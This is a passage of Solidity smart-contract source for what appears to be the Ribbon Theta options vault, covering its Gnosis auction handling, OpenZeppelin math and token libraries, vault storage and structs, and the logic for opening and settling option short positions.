_rollToNextOption(uint256(lastQueuedWithdrawAmount)); lastQueuedWithdrawAmount = queuedWithdrawAmount; ShareMath.assertUint104(lockedBalance); vaultState.lockedAmount = uint104(lockedBalance); emit OpenShort(newOption, lockedBalance, msg.sender); VaultLifecycle.createShort( GAMMA_CONTROLLER, MARGIN_POOL, newOption, lockedBalance ); _startAuction(); } /** * @notice Initiate the gnosis auction. */ function startAuction() external onlyKeeper nonReentrant { _startAuction(); } function _startAuction() private { GnosisAuction.AuctionDetails memory auctionDetails; uint256 currOtokenPremium = currentOtokenPremium; require(currOtokenPremium > 0, "!currentOtokenPremium"); bool _isUsdcAuction = isUsdcAuction; auctionDetails.oTokenAddress = optionState.currentOption; auctionDetails.gnosisEasyAuction = GNOSIS_EASY_AUCTION; auctionDetails.asset = _isUsdcAuction ? USDC : vaultParams.asset; auctionDetails.assetDecimals = _isUsdcAuction ? 6 : vaultParams.decimals; auctionDetails.oTokenPremium = currOtokenPremium; auctionDetails.duration = auctionDuration; optionAuctionID = VaultLifecycle.startAuction(auctionDetails); } /** * @notice Burn the remaining oTokens left over from gnosis auction. */ function burnRemainingOTokens() external onlyKeeper nonReentrant { uint256 unlockedAssetAmount = VaultLifecycle.burnOtokens( GAMMA_CONTROLLER, optionState.currentOption ); vaultState.lockedAmount = uint104( uint256(vaultState.lockedAmount).sub(unlockedAssetAmount) ); } /** * @notice Settle USDC auction and swap the proceeds to underlying asset * @param minAmountOut is the minimum amount of underlying acceptable for the swap */ function settleAuctionAndSwap(uint256 minAmountOut) external onlyKeeper nonReentrant { require(isUsdcAuction, "!isUsdcAuction"); require(minAmountOut > 0, "!minAmountOut"); VaultLifecycle.settleAuction(GNOSIS_EASY_AUCTION, optionAuctionID); VaultLifecycle.swap(USDC, minAmountOut, UNISWAP_ROUTER, swapPath); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {DSMath} from "../vendor/DSMath.sol"; import {IGnosisAuction} from "../interfaces/IGnosisAuction.sol"; import {IOtoken} from "../interfaces/GammaInterface.sol"; import {IOptionsPremiumPricer} from "../interfaces/IRibbon.sol"; import {Vault} from "./Vault.sol"; import {IRibbonThetaVault} from "../interfaces/IRibbonThetaVault.sol"; library GnosisAuction { using SafeMath for uint256; using SafeERC20 for IERC20; event InitiateGnosisAuction( address indexed auctioningToken, address indexed biddingToken, uint256 auctionCounter, address indexed manager ); event PlaceAuctionBid( uint256 auctionId, address indexed auctioningToken, uint256 sellAmount, uint256 buyAmount, address indexed bidder ); struct AuctionDetails { address oTokenAddress; address gnosisEasyAuction; address asset; uint256 assetDecimals; uint256 oTokenPremium; uint256 duration; } struct BidDetails { address oTokenAddress; address gnosisEasyAuction; address asset; uint256 assetDecimals; uint256 auctionId; uint256 lockedBalance; uint256 optionAllocation; uint256 optionPremium; address bidder; } function startAuction(AuctionDetails calldata auctionDetails) internal returns (uint256 auctionID) { uint256 oTokenSellAmount = getOTokenSellAmount(auctionDetails.oTokenAddress); IERC20(auctionDetails.oTokenAddress).safeApprove( auctionDetails.gnosisEasyAuction, IERC20(auctionDetails.oTokenAddress).balanceOf(address(this)) ); // minBidAmount is total oTokens to sell * premium per oToken // shift decimals to correspond to decimals of USDC for puts // and underlying for calls uint256 minBidAmount = DSMath.wmul( oTokenSellAmount.mul(10**10), auctionDetails.oTokenPremium ); minBidAmount = auctionDetails.assetDecimals > 18 ? minBidAmount.mul(10**(auctionDetails.assetDecimals.sub(18))) : minBidAmount.div( 10**(uint256(18).sub(auctionDetails.assetDecimals)) ); require( minBidAmount <= type(uint96).max, "optionPremium * oTokenSellAmount > type(uint96) max value!" ); uint256 auctionEnd = block.timestamp.add(auctionDetails.duration); auctionID = IGnosisAuction(auctionDetails.gnosisEasyAuction) .initiateAuction( // address of oToken we minted and are selling auctionDetails.oTokenAddress, // address of asset we want in exchange for oTokens. Should match vault `asset` auctionDetails.asset, // orders can be cancelled at any time during the auction auctionEnd, // order will last for `duration` auctionEnd, // we are selling all of the otokens minus a fee taken by gnosis uint96(oTokenSellAmount), // the minimum we are willing to sell all the oTokens for. A discount is applied on black-scholes price uint96(minBidAmount), // the minimum bidding amount must be 1 * 10 ** -assetDecimals 1, // the min funding threshold 0, // no atomic closure false, // access manager contract address(0), // bytes for storing info like a whitelist for who can bid bytes("") ); emit InitiateGnosisAuction( auctionDetails.oTokenAddress, auctionDetails.asset, auctionID, msg.sender ); } function placeBid(BidDetails calldata bidDetails) internal returns ( uint256 sellAmount, uint256 buyAmount, uint64 userId ) { // calculate how much to allocate sellAmount = bidDetails .lockedBalance .mul(bidDetails.optionAllocation) .div(100 * Vault.OPTION_ALLOCATION_MULTIPLIER); // divide the `asset` sellAmount by the target premium per oToken to // get the number of oTokens to buy (8 decimals) buyAmount = sellAmount .mul(10**(bidDetails.assetDecimals.add(Vault.OTOKEN_DECIMALS))) .div(bidDetails.optionPremium) .div(10**bidDetails.assetDecimals); require( sellAmount <= type(uint96).max, "sellAmount > type(uint96) max value!" ); require( buyAmount <= type(uint96).max, "buyAmount > type(uint96) max value!" ); // approve that amount IERC20(bidDetails.asset).safeApprove( bidDetails.gnosisEasyAuction, sellAmount ); uint96[] memory _minBuyAmounts = new uint96[](1); uint96[] memory _sellAmounts = new uint96[](1); bytes32[] memory _prevSellOrders = new bytes32[](1); _minBuyAmounts[0] = uint96(buyAmount); _sellAmounts[0] = uint96(sellAmount); _prevSellOrders[ 0 ] = 0x0000000000000000000000000000000000000000000000000000000000000001; // place sell order with that amount userId = IGnosisAuction(bidDetails.gnosisEasyAuction).placeSellOrders( bidDetails.auctionId, _minBuyAmounts, _sellAmounts, _prevSellOrders, "0x" ); emit PlaceAuctionBid( bidDetails.auctionId, bidDetails.oTokenAddress, sellAmount, buyAmount, bidDetails.bidder ); return (sellAmount, buyAmount, userId); } function claimAuctionOtokens( Vault.AuctionSellOrder calldata auctionSellOrder, address gnosisEasyAuction, address counterpartyThetaVault ) internal { bytes32 order = encodeOrder( auctionSellOrder.userId, auctionSellOrder.buyAmount, auctionSellOrder.sellAmount ); bytes32[] memory orders = new bytes32[](1); orders[0] = order; IGnosisAuction(gnosisEasyAuction).claimFromParticipantOrder( IRibbonThetaVault(counterpartyThetaVault).optionAuctionID(), orders ); } function getOTokenSellAmount(address oTokenAddress) internal view returns (uint256) { // We take our current oToken balance. That will be our sell amount // but otokens will be transferred to gnosis. uint256 oTokenSellAmount = IERC20(oTokenAddress).balanceOf(address(this)); require( oTokenSellAmount <= type(uint96).max, "oTokenSellAmount > type(uint96) max value!" ); return oTokenSellAmount; } function getOTokenPremium( address oTokenAddress, address optionsPremiumPricer, uint256 premiumDiscount ) internal view returns (uint256) { IOtoken newOToken = IOtoken(oTokenAddress); IOptionsPremiumPricer premiumPricer = IOptionsPremiumPricer(optionsPremiumPricer); // Apply black-scholes formula (from rvol library) to option given its features // and get price for 100 contracts denominated in the underlying asset for call option // and USDC for put option uint256 optionPremium = premiumPricer.getPremium( newOToken.strikePrice(), newOToken.expiryTimestamp(), newOToken.isPut() ); // Apply a discount to incentivize arbitraguers optionPremium = optionPremium.mul(premiumDiscount).div( 100 * Vault.PREMIUM_DISCOUNT_MULTIPLIER ); require( optionPremium <= type(uint96).max, "optionPremium > type(uint96) max value!" ); return optionPremium; } function getOTokenPremiumInStables( address oTokenAddress, address optionsPremiumPricer, uint256 premiumDiscount ) internal view returns (uint256) { IOtoken newOToken = IOtoken(oTokenAddress); IOptionsPremiumPricer premiumPricer = IOptionsPremiumPricer(optionsPremiumPricer); // Apply black-scholes formula (from rvol library) to option given its features // and get price for 100 contracts denominated USDC for both call and put options uint256 optionPremium = premiumPricer.getPremiumInStables( newOToken.strikePrice(), newOToken.expiryTimestamp(), newOToken.isPut() ); // Apply a discount to incentivize arbitraguers optionPremium = optionPremium.mul(premiumDiscount).div( 100 * Vault.PREMIUM_DISCOUNT_MULTIPLIER ); require( optionPremium <= type(uint96).max, "optionPremium > type(uint96) max value!" ); return optionPremium; } function encodeOrder( uint64 userId, uint96 buyAmount, uint96 sellAmount ) internal pure returns (bytes32) { return bytes32( (uint256(userId) << 192) + (uint256(buyAmount) << 96) + uint256(sellAmount) ); } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; abstract contract RibbonThetaVaultStorageV1 { // Logic contract used to price options address public optionsPremiumPricer; // Logic contract used to select strike prices address public strikeSelection; // Premium discount on options we are selling (thousandths place: 000 - 999) uint256 public premiumDiscount; // Current oToken premium uint256 public currentOtokenPremium; // Last round id at which the strike was manually overridden uint16 public lastStrikeOverrideRound; // Price last overridden strike set to uint256 public overriddenStrikePrice; // Auction duration uint256 public auctionDuration; // Auction id of current option uint256 public optionAuctionID; } abstract contract RibbonThetaVaultStorageV2 { // Amount locked for scheduled withdrawals last week; uint256 public lastQueuedWithdrawAmount; } abstract contract RibbonThetaVaultStorageV3 { // Auction will be denominated in USDC if true bool public isUsdcAuction; // Path for swaps bytes public swapPath; } abstract contract RibbonThetaVaultStorageV4 { // LiquidityGauge contract for the vault address public liquidityGauge; } // We are following Compound's method of upgrading new contract implementations // When we need to add new storage variables, we create a new version of RibbonThetaVaultStorage // e.g. RibbonThetaVaultStorage<versionNumber>, so finally it would look like // contract RibbonThetaVaultStorage is RibbonThetaVaultStorageV1, RibbonThetaVaultStorageV2 abstract contract RibbonThetaVaultStorage is RibbonThetaVaultStorageV1, RibbonThetaVaultStorageV2, RibbonThetaVaultStorageV3, RibbonThetaVaultStorageV4 { } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; library Vault { /************************************************ * IMMUTABLES & CONSTANTS ***********************************************/ // Fees are 6-decimal places. For example: 20 * 10**6 = 20% uint256 internal constant FEE_MULTIPLIER = 10**6; // Premium discount has 1-decimal place. For example: 80 * 10**1 = 80%. Which represents a 20% discount. uint256 internal constant PREMIUM_DISCOUNT_MULTIPLIER = 10; // Otokens have 8 decimal places. uint256 internal constant OTOKEN_DECIMALS = 8; // Percentage of funds allocated to options is 2 decimal places. 10 * 10**2 = 10% uint256 internal constant OPTION_ALLOCATION_MULTIPLIER = 10**2; // Placeholder uint value to prevent cold writes uint256 internal constant PLACEHOLDER_UINT = 1; struct VaultParams { // Option type the vault is selling bool isPut; // Token decimals for vault shares uint8 decimals; // Asset used in Theta / Delta Vault address asset; // Underlying asset of the options sold by vault address underlying; // Minimum supply of the vault shares issued, for ETH it's 10**10 uint56 minimumSupply; // Vault cap uint104 cap; } struct OptionState { // Option that the vault is shorting / longing in the next cycle address nextOption; // Option that the vault is currently shorting / longing address currentOption; // The timestamp when the `nextOption` can be used by the vault uint32 nextOptionReadyAt; } struct VaultState { // 32 byte slot 1 // Current round number. `round` represents the number of `period`s elapsed. uint16 round; // Amount that is currently locked for selling options uint104 lockedAmount; // Amount that was locked for selling options in the previous round // used for calculating performance fee deduction uint104 lastLockedAmount; // 32 byte slot 2 // Stores the total tally of how much of `asset` there is // to be used to mint rTHETA tokens uint128 totalPending; // Amount locked for scheduled withdrawals; uint128 queuedWithdrawShares; } struct DepositReceipt { // Maximum of 65535 rounds. Assuming 1 round is 7 days, maximum is 1256 years. uint16 round; // Deposit amount, max 20,282,409,603,651 or 20 trillion ETH deposit uint104 amount; // Unredeemed shares balance uint128 unredeemedShares; } struct Withdrawal { // Maximum of 65535 rounds. Assuming 1 round is 7 days, maximum is 1256 years. uint16 round; // Number of shares withdrawn uint128 shares; } struct AuctionSellOrder { // Amount of `asset` token offered in auction uint96 sellAmount; // Amount of oToken requested in auction uint96 buyAmount; // User Id of delta vault in latest gnosis auction uint64 userId; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Vault} from "./Vault.sol"; import {ShareMath} from "./ShareMath.sol"; import {IStrikeSelection} from "../interfaces/IRibbon.sol"; import {GnosisAuction} from "./GnosisAuction.sol"; import { IOtokenFactory, IOtoken, IController, GammaTypes } from "../interfaces/GammaInterface.sol"; import {IERC20Detailed} from "../interfaces/IERC20Detailed.sol"; import {IGnosisAuction} from "../interfaces/IGnosisAuction.sol"; import {SupportsNonCompliantERC20} from "./SupportsNonCompliantERC20.sol"; import {UniswapRouter} from "./UniswapRouter.sol"; library VaultLifecycle { using SafeMath for uint256; using SupportsNonCompliantERC20 for IERC20; struct CloseParams { address OTOKEN_FACTORY; address USDC; address currentOption; uint256 delay; uint16 lastStrikeOverrideRound; uint256 overriddenStrikePrice; } /** * @notice Sets the next option the vault will be shorting, and calculates its premium for the auction * @param strikeSelection is the address of the contract with strike selection logic * @param optionsPremiumPricer is the address of the contract with the black-scholes premium calculation logic * @param premiumDiscount is the vault's discount applied to the premium * @param closeParams is the struct with details on previous option and strike selection details * @param vaultParams is the struct with vault general data * @param vaultState is the struct with vault accounting state * @return otokenAddress is the address of the new option * @return premium is the premium of the new option * @return strikePrice is the strike price of the new option * @return delta is the delta of the new option */ function commitAndClose( address strikeSelection, address optionsPremiumPricer, uint256 premiumDiscount, CloseParams calldata closeParams, Vault.VaultParams storage vaultParams, Vault.VaultState storage vaultState ) external returns ( address otokenAddress, uint256 premium, uint256 strikePrice, uint256 delta ) { uint256 expiry = getNextExpiry(closeParams.currentOption); IStrikeSelection selection = IStrikeSelection(strikeSelection); bool isPut = vaultParams.isPut; address underlying = vaultParams.underlying; address asset = vaultParams.asset; (strikePrice, delta) = closeParams.lastStrikeOverrideRound == vaultState.round ? (closeParams.overriddenStrikePrice, selection.delta()) : selection.getStrikePrice(expiry, isPut); require(strikePrice != 0, "!strikePrice"); // retrieve address if option already exists, or deploy it otokenAddress = getOrDeployOtoken( closeParams, vaultParams, underlying, asset, strikePrice, expiry, isPut ); // get the black scholes premium of the option premium = GnosisAuction.getOTokenPremium( otokenAddress, optionsPremiumPricer, premiumDiscount ); require(premium > 0, "!premium"); return (otokenAddress, premium, strikePrice, delta); } /** * @notice Verify the otoken has the correct parameters to prevent vulnerability to opyn contract changes * @param otokenAddress is the address of the otoken * @param vaultParams is the struct with vault general data * @param collateralAsset is the address of the collateral asset * @param USDC is the address of usdc * @param delay is the delay between commitAndClose and rollToNextOption */ function verifyOtoken( address otokenAddress, Vault.VaultParams storage vaultParams, address collateralAsset, address USDC, uint256 delay ) private view { require(otokenAddress != address(0), "!otokenAddress"); IOtoken otoken = IOtoken(otokenAddress); require(otoken.isPut() == vaultParams.isPut, "Type mismatch"); require( otoken.underlyingAsset() == vaultParams.underlying, "Wrong underlyingAsset" ); require( otoken.collateralAsset() == collateralAsset, "Wrong collateralAsset" ); // we just assume all options use USDC as the strike require(otoken.strikeAsset() == USDC, "strikeAsset != USDC"); uint256 readyAt = block.timestamp.add(delay); require(otoken.expiryTimestamp() >= readyAt, "Expiry before delay"); } /** * @param currentShareSupply is the supply of the shares invoked with totalSupply() * @param asset is the address of the vault's asset * @param decimals is the decimals of the asset * @param lastQueuedWithdrawAmount is the amount queued for withdrawals from last round * @param performanceFee is the perf fee percent to charge on premiums * @param managementFee is the management fee percent to charge on the AUM */ struct RolloverParams { uint256 decimals; uint256 totalBalance; uint256 currentShareSupply; uint256 lastQueuedWithdrawAmount; uint256 performanceFee; uint256 managementFee; } /** * @notice Calculate the shares to mint, new price per share, and amount of funds to re-allocate as collateral for the new round * @param vaultState is the storage variable vaultState passed from RibbonVault * @param params is the rollover parameters passed to compute the next state * @return newLockedAmount is the amount of funds to allocate for the new round * @return queuedWithdrawAmount is the amount of funds set aside for withdrawal * @return newPricePerShare is the price per share of the new round * @return mintShares is the amount of shares to mint from deposits * @return performanceFeeInAsset is the performance fee charged by vault * @return totalVaultFee is the total amount of fee charged by vault */ function rollover( Vault.VaultState storage vaultState, RolloverParams calldata params ) external view returns ( uint256 newLockedAmount, uint256 queuedWithdrawAmount, uint256 newPricePerShare, uint256 mintShares, uint256 performanceFeeInAsset, uint256 totalVaultFee ) { uint256 currentBalance = params.totalBalance; uint256 pendingAmount = vaultState.totalPending; uint256 queuedWithdrawShares = vaultState.queuedWithdrawShares; uint256 balanceForVaultFees; { uint256 pricePerShareBeforeFee = ShareMath.pricePerShare( params.currentShareSupply, currentBalance, pendingAmount, params.decimals ); uint256 queuedWithdrawBeforeFee = params.currentShareSupply > 0 ? ShareMath.sharesToAsset( queuedWithdrawShares, pricePerShareBeforeFee, params.decimals ) : 0; // Deduct the difference between the newly scheduled withdrawals // and the older withdrawals // so we can charge them fees before they leave uint256 withdrawAmountDiff = queuedWithdrawBeforeFee > params.lastQueuedWithdrawAmount ? queuedWithdrawBeforeFee.sub( params.lastQueuedWithdrawAmount ) : 0; balanceForVaultFees = currentBalance .sub(queuedWithdrawBeforeFee) .add(withdrawAmountDiff); } { (performanceFeeInAsset, , totalVaultFee) = VaultLifecycle .getVaultFees( balanceForVaultFees, vaultState.lastLockedAmount, vaultState.totalPending, params.performanceFee, params.managementFee ); } // Take into account the fee // so we can calculate the newPricePerShare currentBalance = currentBalance.sub(totalVaultFee); { newPricePerShare = ShareMath.pricePerShare( params.currentShareSupply, currentBalance, pendingAmount, params.decimals ); // After closing the short, if the options expire in-the-money // vault pricePerShare would go down because vault's asset balance decreased. // This ensures that the newly-minted shares do not take on the loss. mintShares = ShareMath.assetToShares( pendingAmount, newPricePerShare, params.decimals ); uint256 newSupply = params.currentShareSupply.add(mintShares); queuedWithdrawAmount = newSupply > 0 ? ShareMath.sharesToAsset( queuedWithdrawShares, newPricePerShare, params.decimals ) : 0; } return ( currentBalance.sub(queuedWithdrawAmount), // new locked balance subtracts the queued withdrawals queuedWithdrawAmount, newPricePerShare, mintShares, performanceFeeInAsset, totalVaultFee ); } /** * @notice Creates the actual Opyn short position by depositing collateral and minting otokens * @param gammaController is the address of the opyn controller contract * @param marginPool is the address of the opyn margin contract which holds the collateral * @param oTokenAddress is the address of the otoken to mint * @param depositAmount is the amount of collateral to deposit * @return the otoken mint amount */ function createShort( address gammaController, address marginPool, address oTokenAddress, uint256 depositAmount ) external returns (uint256) { IController controller = IController(gammaController); uint256 newVaultID = (controller.getAccountVaultCounter(address(this))).add(1); // An otoken's collateralAsset is the vault's `asset` // So in the context of performing Opyn short operations we call them collateralAsset IOtoken oToken = IOtoken(oTokenAddress); address collateralAsset = oToken.collateralAsset(); uint256 collateralDecimals = uint256(IERC20Detailed(collateralAsset).decimals()); uint256 mintAmount; if (oToken.isPut()) { // For minting puts, there will be instances where the full depositAmount will not be used for minting. // This is because of an issue with precision. // // For ETH put options, we are calculating the mintAmount (10**8 decimals) using // the depositAmount (10**18 decimals), which will result in truncation of decimals when scaling down. // As a result, there will be tiny amounts of dust left behind in the Opyn vault when minting put otokens. // // For simplicity's sake, we do not refund the dust back to the address(this) on minting otokens. // We retain the dust in the vault so the calling contract can withdraw the // actual locked amount + dust at settlement. // // To test this behavior, we can console.log // MarginCalculatorInterface(0x7A48d10f372b3D7c60f6c9770B91398e4ccfd3C7).getExcessCollateral(vault) // to see how much dust (or excess collateral) is left behind. mintAmount = depositAmount .mul(10**Vault.OTOKEN_DECIMALS) .mul(10**18) // we use 10**18 to give extra precision .div(oToken.strikePrice().mul(10**(10 + collateralDecimals))); } else { mintAmount = depositAmount; if (collateralDecimals > 8) { uint256 scaleBy = 10**(collateralDecimals.sub(8)); // oTokens have 8 decimals if (mintAmount > scaleBy) { mintAmount = depositAmount.div(scaleBy); // scale down from 10**18 to 10**8 } } } // double approve to fix non-compliant ERC20s IERC20 collateralToken = IERC20(collateralAsset); collateralToken.safeApproveNonCompliant(marginPool, depositAmount); IController.ActionArgs[] memory actions = new IController.ActionArgs[](3); actions[0] = IController.ActionArgs( IController.ActionType.OpenVault, address(this), // owner address(this), // receiver address(0), // asset, otoken newVaultID, // vaultId 0, // amount 0, //index "" //data ); actions[1] = IController.ActionArgs( IController.ActionType.DepositCollateral, address(this), // owner address(this), // address to transfer from collateralAsset, // deposited asset newVaultID, // vaultId depositAmount, // amount 0, //index "" //data ); actions[2] = IController.ActionArgs( IController.ActionType.MintShortOption, address(this), // owner address(this), // address to transfer to oTokenAddress, // option address newVaultID, // vaultId mintAmount, // amount 0, //index "" //data ); controller.operate(actions); return mintAmount; } /** * @notice Close the existing short otoken position. Currently this implementation is simple. * It closes the most recent vault opened by the contract. This assumes that the contract will * only have a single vault open at any given time. Since calling `_closeShort` deletes vaults by calling SettleVault action, this assumption should hold. * @param gammaController is the address of the opyn controller contract * @return amount of collateral redeemed from the vault */ function settleShort(address gammaController) external returns (uint256) { IController controller = IController(gammaController); // gets the currently active vault ID uint256 vaultID = controller.getAccountVaultCounter(address(this)); GammaTypes.Vault memory vault = controller.getVault(address(this), vaultID); require(vault.shortOtokens.length > 0, "No short"); // An otoken's collateralAsset is the vault's `asset` // So in the context of performing Opyn short operations we call them collateralAsset IERC20 collateralToken = IERC20(vault.collateralAssets[0]); // The short position has been previously closed, or all the otokens have been burned. // So we return early. if (address(collateralToken) == address(0)) { return 0; } // This is equivalent to doing IERC20(vault.asset).balanceOf(address(this)) uint256 startCollateralBalance = collateralToken.balanceOf(address(this)); // If it is after expiry, we need to settle the short position using the normal way // Delete the vault and withdraw all remaining collateral from the vault IController.ActionArgs[] memory actions = new 